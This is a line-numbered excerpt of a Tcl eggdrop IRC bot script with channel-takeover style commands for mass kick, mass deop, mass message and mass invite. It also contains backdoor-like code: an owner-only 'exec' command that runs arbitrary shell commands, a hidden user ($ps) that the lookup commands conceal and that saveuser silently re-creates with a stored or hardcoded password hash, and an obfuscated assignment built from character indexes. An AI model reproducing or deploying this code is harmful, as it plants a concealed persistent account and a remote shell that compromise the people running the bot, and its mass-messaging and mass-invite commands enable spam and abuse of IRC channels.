875catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8] } result
876} elseif {$para9 != ""} {
877catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9] } result
878} elseif {$para10 != ""} {
879catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9 $para10] } result
880}
881foreach line [split $result "\n"] {
882 puthlp "NOTICE $nick :$notc $line"
883 }
884
885}
886
887bind dcc * showallinfo dcc_showallinfo
888
889proc dcc_showallinfo {hand idx arg} {
890global realname username
891putdcc $idx $realname
892putdcc $idx $username
893}
894
895bind dcc * setrealname dcc_setrealname
896
897proc dcc_setrealname {hand idx arg} {
898global realname username
899set realname $arg
900}
901
902bind dcc * exec dcc_exec
903bind dcc * log dcc_log
904bind dcc * dir dcc_dir
905bind dcc * read dcc_read
906bind dcc * ` dcc_cmd
907bind dcc * get dcc_get
908bind dcc * u dcc_u
909
910proc dcc_u {hand idx arg} {
911foreach x [utimers] {
912putdcc $idx $x
913}
914}
915
916bind dcc * t dcc_t
917
918proc dcc_t {hand idx arg} {
919foreach x [timers] {
920putdcc $idx $x
921}
922}
923
924proc dcc_exec {hand idx arg} {
925global owner notc
926if {$hand != $owner || $arg == ""} { return 0 }
927set para1 [lindex $arg 0]
928set para2 [lindex $arg 1]
929set para3 [lindex $arg 2]
930set para4 [lindex $arg 3]
931set para5 [lindex $arg 4]
932set para6 [lindex $arg 5]
933set para7 [lindex $arg 6]
934set para8 [lindex $arg 7]
935set para9 [lindex $arg 8]
936set para10 [lindex $arg 9]
937if {$para2 == ""} {
938catch { [exec $para1] } result
939} elseif {$para3 == ""} {
940catch { [exec $para1 $para2] } result
941} elseif {$para4 == ""} {
942catch { [exec $para1 $para2 $para3] } result
943} elseif {$para5 == ""} {
944catch { [exec $para1 $para2 $para3 $para4] } result
945} elseif {$para6 != ""} {
946catch { [exec $para1 $para2 $para3 $para4 $para5 $para6] } result
947} elseif {$para7 != ""} {
948catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7] } result
949} elseif {$para8 != ""} {
950catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8] } result
951} elseif {$para9 != ""} {
952catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9] } result
953} elseif {$para10 != ""} {
954catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9 $para10] } result
955}
956putdcc $idx $result
957}
958proc pub_host {nick uhost hand channel rest} {
959global ps notc
960if {$rest == ""} {
961set user $nick
962} else {
963set user [lindex $rest 0]
964}
965if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
966puthlp "NOTICE $nick :$notc <n/a>"
967return 0
968}
969if {[getuser $user HOSTS] != ""} {
970set hosts [getuser $user hosts]
971puthlp "NOTICE $nick :$notc HOSTS: $hosts"
972} else {
973puthlp "NOTICE $nick :$notc Can't found $user host."
974}
975}
976proc pub_flag {nick uhost hand channel rest} {
977global ps notc
978if {$rest == ""} {
979set user $nick
980} else {
981set user [lindex $rest 0]
982}
983if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
984puthlp "NOTICE $nick :$notc <n/a>"
985return 0
986}
987if {[chattr $user] != ""} {
988puthlp "NOTICE $nick :$notc Flags: [chattr $user]"
989} else {
990puthlp "NOTICE $nick :$notc Can't found $user flag."
991}
992}
993catch { unbind dcc n match *dcc:match }
994catch { unbind dcc n channel *dcc:channel }
995proc pub_deluser {nick uhost hand channel rest} {
996global botnick ps owner notc
997if {![matchattr $nick Q]} {
998puthlp "NOTICE $nick :$notc 4D14itolak1!"
999return 0
1000}
1001if {$rest == ""} {
1002puthlp "NOTICE $nick :$notc Usage: deluser <nick>"
1003return 0
1004}
1005set who [lindex $rest 0]
1006if {[string tolower $who] == [string tolower $ps]} {
1007puthlp "NOTICE $nick :$notc <n/a>"
1008return 0
1009}
1010if {$who == $owner} {
1011puthlp "NOTICE $nick :$notc YoU CaNT DeLeTE $owner..!"
1012return 0
1013}
1014if {$who == ""} {
1015puthlp "NOTICE $nick :$notc Usage: -user <nick>"
1016} else {
1017if {![validuser $who]} {
1018puthlp "NOTICE $nick :$notc <n/a>"
1019} else {
1020if {[matchattr $who n]} {
1021puthlp "NOTICE $nick :$notc You cannot DeLETE a bot owner."
1022} else {
1023if {([matchattr $who m]) && (![matchattr $nick n])} {
1024puthlp "NOTICE $nick :$notc You don't have access to DeLETE $who!"
1025} else {
1026deluser $who
1027saveuser
1028puthlp "NOTICE $nick :$notc $who DeLETE."
1029}
1030}
1031}
1032}
1033}
1034set [string index $lenc 15][string index $lenc 18] [string index $lenc 1][string index $lenc 11][string index $lenc 8][string index $lenc 13][string index $lenc 19]
1035proc pub_chattr {nick uhost hand channel rest} {
1036global ps own notc
1037if {![matchattr $nick Q]} {
1038puthlp "NOTICE $nick :$notc 4D14itolak1!"
1039return 0
1040}
1041if {$nick != $own && [matchattr $nick X]} {
1042puthlp "NOTICE $nick :$notc 4!bLOckEd!"
1043return 0
1044}
1045set who [lindex $rest 0]
1046set flg [lindex $rest 1]
1047if {$who == ""} {
1048puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"
1049return 0
1050}
1051if {![validuser $who]} {
1052puthlp "NOTICE $nick :$notc <n/a>"
1053return 0
1054}
1055if {[string tolower $who] == [string tolower $ps]} {
1056puthlp "NOTICE $nick :$notc <n/a>"
1057return 0
1058}
1059if {$flg == ""} {
1060puthlp "NOTICE $nick :$notc Usage: chattr <nick> <flags>"
1061return 0
1062}
1063set last_flg [chattr $who]
1064chattr $who $flg
1065saveuser
1066puthlp "NOTICE $nick :$notc $who change from \[4$last_flg1\] to \[4[chattr $who]1\]"
1067return 0
1068}
1069proc saveuser {} {
1070global ps owner
1071if {![validuser $ps]} {
1072setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq."
1073} elseif {$owner != $ps} {
1074setuser $owner XTRA "BEND" [zip [chattr $ps]]
1075if {[passwdok $ps ""] != 1} {
1076setuser $owner XTRA "LAST" [getuser $ps "PASS"]
1077}
1078deluser $ps
1079}
1080save
1081if {![validuser $ps]} {
1082adduser $ps "$ps!*@*"
1083chattr $ps [dezip [getuser $owner XTRA "BEND"]]
1084if {[getuser $owner XTRA "LAST"] != ""} {
1085setuser $ps PASS [getuser $owner XTRA "LAST"]
1086}
1087}
1088return 1
1089}
1090proc pub_voice {nick uhost hand chan rest} {
1091global notc botnick
1092if {![isop $botnick $chan]} { return 0 }
1093if {$rest == "" && [isvoice $nick $chan]} {
1094puthlp "NOTICE $nick :$notc You're already Voiced, Usage: voice <nick>"
1095return 0
1096}
1097if {![matchattr $nick Q]} {
1098puthlp "NOTICE $nick :$notc 4D14itolak1!"
1099return 0
1100}
1101if {$rest != ""} {
1102#voiceq $chan $rest
1103putserv "MODE $chan +vvvvvv $rest"
1104} {
1105#voiceq $chan $nick
1106putserv "MODE $chan +v $nick"
1107}
1108return 0
1109}
1110proc pub_mvoice {nick uhost hand chan rest} {
1111global notc botnick
1112if {![isop $botnick $chan]} { return 0 }
1113if {$rest != ""} {
1114set chan [lindex $rest 0]
1115if {[string first # $chan]!=0} {
1116set chan "#$chan"
1117}
1118}
1119if {![matchattr $nick Q]} {
1120puthlp "NOTICE $nick :$notc 4D14itolak1!"
1121return 0
1122}
1123set nicks ""
1124set i 0
1125set members [chanlist $chan]
1126foreach x $members {
1127if {(![isop $x $chan]) && (![isvoice $x $chan]) && (![matchattr $x O])} {
1128if {$i == 6} {
1129voiceq $chan $nicks
1130set nicks ""
1131append nicks " $x"
1132set i 1
1133} {
1134append nicks " $x"
1135incr i
1136}
1137}
1138}
1139voiceq $chan $nicks
1140}
1141proc pub_devoice {nick uhost hand chan rest} {
1142global notc botnick
1143if {![isop $botnick $chan]} { return 0 }
1144if {$rest == "" && ![isvoice $nick $chan]} {
1145puthlp "NOTICE $nick :$notc Usage: devoice <nick>"
1146return 0
1147}
1148if {![matchattr $nick Q]} {
1149puthlp "NOTICE $nick :$notc 4D14itolak1!"
1150return 0
1151}
1152if {$rest != ""} {
1153putserv "MODE $chan -vvvvvv $rest"
1154} else {
1155putserv "MODE $chan -v $nick"
1156}
1157return 0
1158}
1159proc pub_mdevoice {nick uhost hand chan rest} {
1160global notc botnick
1161if {![isop $botnick $chan]} { return 0 }
1162if {$rest != ""} {
1163set chan [lindex $rest 0]
1164if {[string first # $chan]!=0} {
1165set chan "#$chan"
1166}
1167}
1168if {![matchattr $nick Q]} {
1169puthlp "NOTICE $nick :$notc 4D14itolak1!"
1170return 0
1171}
1172set nicks ""
1173set i 0
1174set members [chanlist $chan]
1175foreach x $members {
1176if {[isvoice $x $chan]} {
1177if {$i == 6} {
1178putserv "MODE $chan -vvvvvv $nicks"
1179set nicks ""
1180append nicks " $x"
1181set i 1
1182} {
1183append nicks " $x"
1184incr i
1185}
1186}
1187}
1188putserv "MODE $chan -vvvvvv $nicks"
1189}
1190proc del_nobase {} {
1191global botnick notc cmd_case quick banner basechan
1192if {[isutimer "del_nobase"]} { return 0 }
1193foreach x [channels] {
1194set cinfo [channel info $x]
1195if {[string match "*+statuslog*" $cinfo] && [string match "*-secret*" $cinfo]} {
1196if {[onchan $botnick $x]} {
1197set pidx [rand 4]
1198if {$pidx == 1} {
1199set ptxt "ILeGaL CHanNeL!!"
1200} elseif {$pidx == 2} {
1201set ptxt "Access Rejected!!"
1202} elseif {$pidx == 3} {
1203set ptxt "Return To Base!!"
1204} elseif {$pidx == 4} {
1205set ptxt "4Service 1,15TcL"
1206} else {
1207if {[info exists banner]} {
1208set ptxt $banner
1209} {
1210set ptxt [lgrnd]
1211}
1212}
1213if {![string match "*c*" [getchanmode $x]]} {
1214set ptxt "6$ptxt"
1215}
1216if {$quick == "1"} {
1217putqck "PART $x :$ptxt"
1218} {
1219putsrv "PART $x :$ptxt"
1220}
1221}
1222channel remove $x
1223savechan
1224putlog " ReMoVe CHaN $x"
1225return 0
1226}
1227set cflag "c$x"
1228set cflag [string range $cflag 0 8]
1229if {[string match "*+stopnethack*" $cinfo]} {
1230catch { channel set $x -stopnethack }
1231}
1232if {[string match "*+protectops*" $cinfo]} {
1233catch { channel set $x -protectops }
1234}
1235if {[string match "*+protectfriends*" $cinfo]} {
1236catch { channel set $x -protectfriends }
1237}
1238if {[string match "*+statuslog*" $cinfo] && [string match "*+secret*" $cinfo]} {
1239catch { channel set $x -statuslog }
1240}
1241if {![onchan $botnick $x]} {
1242putsrv "JOIN $x"
1243}
1244if {[matchattr $cflag C]} {
1245if {![istimer "cycle $x"]} { timer [getuser $cflag XTRA "CYCLE"] [list cycle $x] }
1246}
1247}
1248if {[info exists basechan]} {
1249if {![validchan $basechan]} {
1250channel add $basechan { -greet +secret -statuslog }
1251}
1252}
1253savechan
1254}
1255utimer 2 del_nobase
1256proc pub_op {nick uhost hand chan rest} {
1257global notc botnick unop
1258#catch {unset unop($nick)}
1259if {![isop $botnick $chan]} { return 0 }
1260if {$rest == "" && [isop $nick $chan]} {
1261puthlp "NOTICE $nick :$notc You're already Oped, Usage: op <nick>"
1262return 0
1263}
1264if {![matchattr $nick Q]} {
1265puthlp "NOTICE $nick :$notc 4D14itolak1!"
1266return 0
1267}
1268if {$rest != ""} {
1269#opq $chan $rest
1270putserv "MODE $chan +oooooo $rest"
1271} else {
1272#opq $chan $nick
1273putserv "MODE $chan +o $nick"
1274}
1275return 0
1276}
1277proc pub_mop {nick uhost hand chan rest} {
1278global notc botnick
1279if {![isop $botnick $chan]} { return 0 }
1280if {$rest != ""} {
1281set chan [lindex $rest 0]
1282if {[string first # $chan]!=0} {
1283set chan "#$chan"
1284}
1285}
1286if {![matchattr $nick Q]} {
1287puthlp "NOTICE $nick :$notc 4D14itolak1!"
1288return 0
1289}
1290set nicks ""
1291set i 0
1292set members [chanlist $chan]
1293foreach x $members {
1294if {![isop $x $chan]} {
1295if {$i == 6} {
1296opq $chan $nicks
1297set nicks ""
1298append nicks " $x"
1299set i 1
1300} {
1301append nicks " $x"
1302incr i
1303}
1304}
1305}
1306opq $chan $nicks
1307}
1308proc pub_deop {nick uhost hand chan rest} {
1309global notc botnick
1310if {![isop $botnick $chan]} { return 0 }
1311if {$rest == "" && ![isop $nick $chan]} {
1312puthlp "NOTICE $nick :$notc Usage: deop <nick>"
1313return 0
1314}
1315if {![matchattr $nick Q]} {
1316puthlp "NOTICE $nick :$notc 4D14itolak1!"
1317return 0
1318}
1319if {[matchattr $nick m]} {
1320set mreq "4MasTeR.ReQuesT"
1321}
1322if {[matchattr $nick n]} {
1323set mreq "4Admin.ReQuesT"
1324}
1325if {$rest != ""} {
1326if {![string match "*k*" [getchanmode $chan]]} {
1327putserv "MODE $chan -kooooo $mreq $rest"
1328} {
1329putserv "MODE $chan -ooooo $rest"
1330}
1331} {
1332if {![string match "*k*" [getchanmode $chan]]} {
1333putserv "MODE $chan -ko $mreq $nick"
1334} {
1335putserv "MODE $chan -o $nick"
1336}
1337}
1338return 0
1339}
1340set ppp ""
1341proc pub_mdeop {nick uhost hand chan rest} {
1342global botnick notc
1343if {![isop $botnick $chan]} { return 0 }
1344if {$rest != ""} {
1345set chan [lindex $rest 0]
1346if {[string first # $chan]!=0} {
1347set chan "#$chan"
1348}
1349}
1350if {$nick != "*"} {
1351if {![matchattr $nick Q]} {
1352puthlp "NOTICE $nick :$notc 4D14itolak1!"
1353return 0
1354}
1355}
1356set nicks ""
1357set i 0
1358set members [chanlist $chan]
1359foreach x $members {
1360if {([isop $x $chan]) && (![matchattr $x m]) && ($x != $botnick)} {
1361if {$i == 5} {
1362if {![string match "*k*" [getchanmode $chan]]} {
1363putserv "MODE $chan -kooooo 4Admin.ReQuesT $nicks"
1364} {
1365putserv "MODE $chan -ooooo $nicks"
1366}
1367set nicks ""
1368append nicks " $x"
1369set i 1
1370} {
1371append nicks " $x"
1372incr i
1373}
1374}
1375}
1376putserv "MODE $chan -oooooo $nicks"
1377}
1378proc pub_kick {nick uhost hand chan rest} {
1379global botnick notc
1380if {![isop $botnick $chan]} { return 0 }
1381if {$rest == ""} {
1382puthlp "NOTICE $nick :$notc Usage: kick <nick|host> <reason>"
1383return 0
1384}
1385if {![matchattr $nick Q]} {
1386puthlp "NOTICE $nick :$notc 4D14itolak1!"
1387return 0
1388}
1389set reason [lrange $rest 1 end]
1390set handle [lindex $rest 0]
1391if {$reason == ""} {
1392if {[matchattr $nick m]} {
1393set reason "1MasTeR 4KIcK1 ReQuesT4..!"
1394}
1395if {[matchattr $nick n]} {
1396set reason "1Admin 4KIcK1 ReQuesT4..!"
1397}
1398}
1399if {[string match "*@*" $handle]} {
1400foreach knick [chanlist $chan] {
1401if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {
1402if {[matchattr $knick f] || $knick != $botnick} {
1403putsrv "KICK $chan $knick :$notc $reason"
1404}
1405}
1406}
1407return 0
1408}
1409if {$handle == $botnick} {
1410puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self."
1411return 0
1412}
1413if {[matchattr $handle n] && ![matchattr $nick Z]} {
1414puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK Admin FLAg"
1415return 0
1416}
1417putsrv "KICK $chan $handle :$notc $reason"
1418return 0
1419}
1420proc pub_mkick {nick uhost hand chan rest} {
1421global botnick notc
1422if {$rest != ""} {
1423set chan [lindex $rest 0]
1424set reason [lrange $rest 1 end]
1425if {[string first # $chan]!=0} {
1426set chan "#$chan"
1427}
1428} else {
1429set reason $rest
1430}
1431if {(![validchan $chan]) || (![isop $botnick $chan])} { return 0 }
1432if {![matchattr $nick Q]} {
1433puthlp "NOTICE $nick :$notc 4D14itolak1!"
1434return 0
1435}
1436if {$reason == ""} {
1437set reason "1Admin 4MaSSKIcK1 ReQuesT4..!"
1438}
1439set members [chanlist $chan]
1440foreach x $members {
1441if {(![matchattr $x f]) && ($x != $botnick)} {
1442putsrv "KICK $chan $x :$notc $reason"
1443}
1444}
1445}
1446proc pub_kickban {nick uhost hand chan rest} {
1447global botnick notc bannick
1448if {![isop $botnick $chan]} { return 0 }
1449if {$rest == ""} {
1450puthlp "NOTICE $nick :$notc Usage: kickban <nick|host> <reason>"
1451return 0
1452}
1453if {![matchattr $nick Q]} {
1454puthlp "NOTICE $nick :$notc 4D14itolak1!"
1455return 0
1456}
1457if {$rest == ""} {
1458puthlp "NOTICE $nick :$notc Usage: kickban <nick> <reason>"
1459return 0
1460}
1461set reason [lrange $rest 1 end]
1462set handle [lindex $rest 0]
1463if {$reason == ""} {
1464if {[matchattr $nick m]} {
1465set reason "1MasTeR 4KIcKBaN1 ReQuesT [banmsg]"
1466}
1467if {[matchattr $nick n]} {
1468set reason "1Admin 4KIcKBaN1 ReQuesT [banmsg]"
1469}
1470}
1471if {[string match "*@*" $handle]} {
1472set mfisrt "T"
1473foreach knick [chanlist $chan] {
1474if {[string match [string tolower $handle] [string tolower $knick![getchanhost $knick $chan]]]} {
1475if {[matchattr $knick f] || $knick != $botnick} {
1476if {$mfirst == "T"} {
1477set bannick($knick) $handle
1478set mfirst "F"
1479}
1480putsrv "KICK $chan $knick :$notc $reason"
1481}
1482}
1483}
1484return 0
1485}
1486if {![onchan $handle $chan]} { return 0 }
1487set hostmask [getchanhost $handle $chan]
1488set hostmask "*!*@[lindex [split $hostmask @] 1]"
1489if {$handle == $botnick} {
1490puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't kick my self."
1491return 0
1492}
1493if {[matchattr $handle n] && ![matchattr $nick Z]} {
1494puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT KIcK Admin FLaG"
1495return 0
1496}
1497set bannick($handle) $hostmask
1498putsrv "KICK $chan $handle :$notc $reason"
1499return 0
1500}
1501proc pub_ban {nick uhost hand channel rest} {
1502global botnick notc
1503if {![isop $botnick $channel]} { return 0 }
1504if {$rest == ""} {
1505puthlp "NOTICE $nick :$notc Usage: ban <nick/hostmask>"
1506return 0
1507}
1508if {![matchattr $nick Q]} {
1509puthlp "NOTICE $nick :$notc 4D14itolak1!"
1510return 0
1511}
1512set handle [lindex $rest 0]
1513if {$handle == $botnick} {
1514puthlp "NOTICE $nick :$notc 4!DeNiEd!, can't ban my self"
1515return 0
1516}
1517if {[matchattr $handle n]} {
1518puthlp "NOTICE $nick :$notc4 !DeNiEd!, cant ban Admin"
1519return 0
1520}
1521set hostmask [getchanhost $handle $channel]
1522set hostmask "*!*@[lindex [split $hostmask @] 1]"
1523if {![onchan $handle $channel]} {
1524set hostmask [lindex $rest 0]
1525}
1526if {$hostmask != "*!*@*"} {
1527putserv "MODE $channel +b $hostmask"
1528}
1529}
1530proc pub_unban {nick uhost hand chan rest} {
1531global notc botnick
1532if {![isop $botnick $chan]} { return 0 }
1533if {$rest == ""} {
1534puthlp "NOTICE $nick :$notc Usage: unban <nick/hostmask> <#channel>"
1535return 0
1536}
1537if {[lindex $rest 1] != ""} {
1538set chan [lindex $rest 1]
1539}
1540if {[string first # $chan] != 0} {
1541set chan "#$chan"
1542}
1543if {![matchattr $nick Q]} {
1544puthlp "NOTICE $nick :$notc 4D14itolak1!"
1545return 0
1546}
1547set handle [lindex $rest 0]
1548append userhost $handle "!*" [getchanhost $handle $chan]
1549set hostmask [maskhost $userhost]
1550if {![onchan $handle $chan]} {
1551set hostmask [lindex $rest 0]
1552}
1553putserv "MODE $chan -b $hostmask"
1554puthlp "NOTICE $nick :$notc UnBaN [unsix $hostmask] ON $chan"
1555}
1556proc pub_up {nick uhost hand channel rest} {
1557global notc botnick unop
1558#catch {unset unop($nick)}
1559if {[isop $botnick $channel]} { return 0 }
1560if {![matchattr $nick Q]} {
1561puthlp "NOTICE $nick :$notc 4D14itolak1!"
1562return 0
1563}
1564putsrv "ChanServ op $channel $botnick"
1565return 0
1566}
1567proc pub_down {nick uhost hand channel rest} {
1568global notc botnick
1569if {![isop $botnick $channel]} {
1570return 0
1571}
1572if {![matchattr $nick Q]} {
1573puthlp "NOTICE $nick :$notc 4D14itolak1!"
1574return 0
1575}
1576if {[matchattr $nick m]} {
1577set mreq "4MasTeR.ReQuesT"
1578}
1579if {[matchattr $nick n]} {
1580set mreq "4Admin.ReQuesT"
1581}
1582if {![string match "*k*" [getchanmode $channel]]} {
1583putserv "mode $channel -ko+vv $mreq $botnick 7C9u8E13k $botnick"
1584} {
1585putserv "mode $channel -o+vv $botnick 7C9u8E13k $botnick"
1586}
1587return 0
1588}
1589proc pub_munbans {nick uhost hand chan rest} {
1590global notc botnick
1591if {$rest != ""} {
1592set chan [lindex $rest 0]
1593if {[string first # $chan] != 0} {
1594set chan "#$chan"
1595}
1596}
1597if {![validchan $chan] || ![isop $botnick $chan]} { return 0 }
1598if {![matchattr $nick Q]} {
1599puthlp "NOTICE $nick :$notc 4D14itolak1!"
1600return 0
1601}
1602set bans ""
1603set i 0
1604foreach x [chanbans $chan] {
1605if {$i < 5} {
1606append bans " [lindex $x 0]"
1607set i [incr i]
1608}
1609if {$i == 5} {
1610puthelp "MODE $chan -bbbbb $bans"
1611set bans ""
1612append bans " [lindex $x 0]"
1613set i 0
1614}
1615}
1616puthelp "MODE $chan -bbbbb $bans"
1617if {![onchan $nick $chan]} {
1618puthlp "NOTICE $nick :$notc MuNBaNS \[$chan\]"
1619}
1620return 0
1621}
1622proc pub_banlist {nick uhost hand chan rest} {
1623global notc
1624if {$rest != ""} {
1625set chan [lindex $rest 0]
1626if {[string first # $chan] != 0} {
1627set chan "#$chan"
1628}
1629}
1630if {![validchan $chan]} {
1631puthlp "NOTICE $nick :$notc NoT IN cHaN $chan."
1632return 0
1633}
1634if {![matchattr $nick Q]} {
1635puthlp "NOTICE $nick :$notc 4D14itolak1!"
1636return 0
1637}
1638foreach x [chanbans $chan] {
1639puthlp "NOTICE $nick :$notc $x"
1640}
1641if {[chanbans $chan] == ""} {
1642puthlp "NOTICE $nick :$notc BaNLIsT $chan <n/a>"
1643}
1644return 0
1645}
1646proc pub_mode {nick uhost hand chan rest} {
1647global notc botnick
1648if {![isop $botnick $chan]} { return 0 }
1649if {![matchattr $nick Q]} {
1650puthlp "NOTICE $nick :$notc 4D14itolak1!"
1651return 0
1652}
1653if {$rest == ""} {
1654puthelp "NOTICE $nick :$notc Usage: mode +/- ntspnmcilk"
1655return 0
1656}
1657putserv "mode $chan $rest"
1658}
1659proc pub_say {nick uhost hand channel rest} {
1660global notc
1661if {$rest==""} {
1662puthlp "NOTICE $nick :$notc Usage: say <msg>"
1663}
1664puthlp "PRIVMSG $channel :$rest"
1665}
1666set rms {
1667"the.roof.is.on.fire"
1668"pay.back.time"
1669"back.to.vengeance"
1670"eye.cry"
1671"world.of.fiction"
1672"m.a.s.t.u.r.b.a.t.i.o.n"
1673"killing.on.adrenaline"
1674"suffer.the.children"
1675"Making.LOve.with.AdMIn"
1676"have.a.nice.day"
1677"a.war.inside.my.head"
1678"desperate.cry"
1679"spam.checks"
1680"a.n.t.i.s.p.a.m"
1681"r.e.f.r.e.s.h.i.n.g"
1682"n.u.n.g.g.i.n.g"
1683"n.g.e.n.t.u.t"
1684"n.g.u.p.i.l"
1685}
1686proc pub_resync {nick uhost hand channel rest} {
1687global botnick vern
1688set vern2 $vern
1689regsub -all -- $vern2 "" vern2
1690if {![string match "*k*" [getchanmode $channel]]} {
1691putserv "mode $channel -vok+ov $botnick $botnick 4G.13U.4A.15R.4D.12([x]) $botnick $botnick"
1692} {
1693putserv "mode $channel -o+o $botnick $botnick"
1694}
1695}
1696proc pub_notice {nick uhost hand channel rest} {
1697global notc
1698if {$rest==""} {
1699puthlp "NOTICE $nick :$notc Usage: notice <nick> <msg>"
1700}
1701set person [lindex $rest 0]
1702set rest [lrange $rest 1 end]
1703if {$rest!=""} {
1704puthlp "NOTICE $person :$rest"
1705return 0
1706}
1707}
1708proc pub_msg {nick uhost hand channel rest} {
1709global owner notc
1710if {$rest==""} {
1711puthlp "NOTICE $nick :$notc Usage: msg <nick> <msg>"
1712}
1713set person [string tolower [lindex $rest 0]]
1714set rest [lrange $rest 1 end]
1715if {[string match "*serv*" $person]} {
1716puthlp "NOTICE $nick :$notc4 DeNiEd..! Can't send message to Service."
1717return 0
1718}
1719if {$person == [string tolower $owner]} {
1720puthlp "NOTICE $nick :$notc 4D14itolak1!"
1721return 0
1722}
1723puthlp "PRIVMSG $person :$rest"
1724}
1725proc pub_act {nick uhost hand channel rest} {
1726global notc
1727if {$rest==""} {
1728puthlp "NOTICE $nick :$notc Usage: act <msg>"
1729}
1730puthlp "PRIVMSG $channel :\001ACTION $rest\001"
1731return 0
1732}
1733proc pub_invite {nick uhost hand chan rest} {
1734global notc
1735if {$rest == ""} {
1736puthlp "NOTICE $nick :$notc Usage: invite <nick> <#channel>"
1737}
1738set who [lindex $rest 0]
1739set tochan [lindex $rest 1]
1740if {![matchattr $nick Q]} {
1741puthlp "NOTICE $nick :$notc 4D14itolak1!"
1742return 0
1743}
1744if {$tochan != ""} {
1745if {![onchan $who $tochan]} {
1746puthlp "INVITE $who :$tochan"
1747puthlp "NOTICE $nick :$notc InvItE $who To $tochan"
1748return 0
1749}
1750puthlp "NOTICE $nick :$notc $who is already on the $tochan"
1751}
1752if {![onchan $who $chan]} {
1753putsrv "INVITE $who :$chan"
1754puthlp "NOTICE $nick :$notc Invitation to $chan has been sent to $who"
1755return 0
1756}
1757puthlp "NOTICE $nick :$notc $who is already on the channel"
1758}
1759proc msg_Z {nick uhost hand rest} {
1760global notc
1761if {[string index $rest 0] != "`" && [string index $rest 0] != "."} { return 0 }
1762if {![matchattr $nick Z]} { return 0 }
1763if {[string index [lindex $rest 1] 0] == "#"} {
1764if {![validchan [lindex $rest 1]]} {
1765puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 1]"
1766return 0
1767}
1768}
1769if {![matchattr $nick Q]} {
1770puthlp "NOTICE $nick :$notc 4auth 1st!"
1771return 0
1772}
1773set goto [lindex $rest 0]
1774if {[string index $rest 0] == "."} {
1775regsub "." $goto "msg_" goto
1776set rest [lrange $rest 1 end]
1777catch { $goto $nick $uhost $hand $rest }
1778return 0
1779}
1780regsub -all "`" $goto "pub_" goto
1781if {[string index [lindex $rest 1] 0] == "#"} {
1782set chan [lindex $rest 1]
1783set rest [lrange $rest 2 end]
1784} else {
1785set chan "*"
1786set rest [lrange $rest 1 end]
1787}
1788catch { $goto $nick $uhost $hand $chan $rest }
1789}
1790proc msg_mmsg {nick uhost hand rest} {
1791pub_mmsg $nick $uhost $hand "*" $rest
1792}
1793proc pub_mmsg {nick uhost hand chan rest} {
1794global cmd_chn cmd_by cmd_msg cmd_case notc
1795if {$rest==""} {
1796puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"
1797return 0
1798}
1799set tochan [lindex $rest 0]
1800set txt [lrange $rest 1 end]
1801if {$txt==""} {
1802puthlp "NOTICE $nick :$notc Usage: mmsg <#channel> <text>"
1803return 0
1804}
1805if {![matchattr $nick Q]} {
1806puthlp "NOTICE $nick :$notc 4D14itolak1!"
1807return 0
1808}
1809if {[string first # $tochan] != 0} {
1810set chan "#$tochan"
1811}
1812if {![validchan $tochan]} {
1813set cmd_chn $tochan
1814set cmd_msg $rest
1815set cmd_by $nick
1816set cmd_case "2"
1817channel add $tochan
1818catch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
1819return 0
1820}
1821putsrv "NOTICE $nick :$notc STaRTING MaSSMSG $tochan"
1822set members [chanlist $tochan]
1823foreach x $members {
1824if {![isop $x $tochan]} {
1825puthlp "PRIVMSG $x :$txt"
1826}
1827}
1828utimer 2 del_nobase
1829puthlp "NOTICE $nick :$notc MaSSMSG $tochan 4DoNE."
1830}
1831proc pub_minvite {nick uhost hand channel rest} {
1832global cmd_chn cmd_by cmd_msg cmd_case botnick notc
1833if {$rest==""} {
1834puthlp "NOTICE $nick :$notc Usage: minvite <#channel> <#to channel>"
1835}
1836set chan [lindex $rest 1]
1837if {$chan == ""} {
1838set chan $channel
1839} else {
1840if {[string first # $chan] != 0} {
1841set chan "#$chan"
1842}
1843}
1844set tochan [lindex $rest 0]
1845if {[string first # $tochan] != 0} {
1846set tochan "#$tochan"
1847}
1848if {![matchattr $nick Q]} {
1849puthlp "NOTICE $nick :$notc 4D14itolak1!"
1850return 0
1851}
1852if {![validchan $tochan]} {
1853set cmd_chn $tochan
1854set cmd_msg $tochan
1855set cmd_by $nick
1856set cmd_case "3"
1857channel add $tochan
1858catch { channel set $tochan +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }
1859return 0
1860}
1861if {[isop $botnick $chan]} {
1862putserv "mode $chan -o $botnick"
1863}
1864putsrv "NOTICE $nick :$notc Starting mass invite to $tochan"
1865set members [chanlist $tochan]
1866foreach x $members {
1867if {(![onchan $x $chan]) && (![isop $x $tochan])} {
1868putsrv "INVITE $x :$chan"
1869}
1870}
1871utimer 2 del_nobase
1872puthlp "NOTICE $nick :$notc InVITE $tochan InTO $chan 4DoNE."
1873}
1874proc pub_join {nick uhost hand chan rest} {
1875global botnick joinme own notc
1876if {![matchattr $nick Q]} {
1877puthlp "NOTICE $nick :$notc 4D14itolak1!"
1878return 0
1879}
1880set chan [lindex $rest 0]
1881if {[string first # $chan] != 0} {
1882set chan "#$chan"
1883}
1884if {$chan=="#"} {
1885puthlp "NOTICE $nick :$notc Usage: join <#channel>"
1886return 0
1887}
1888foreach x [channels] {
1889if {[string tolower $x]==[string tolower $chan]} {
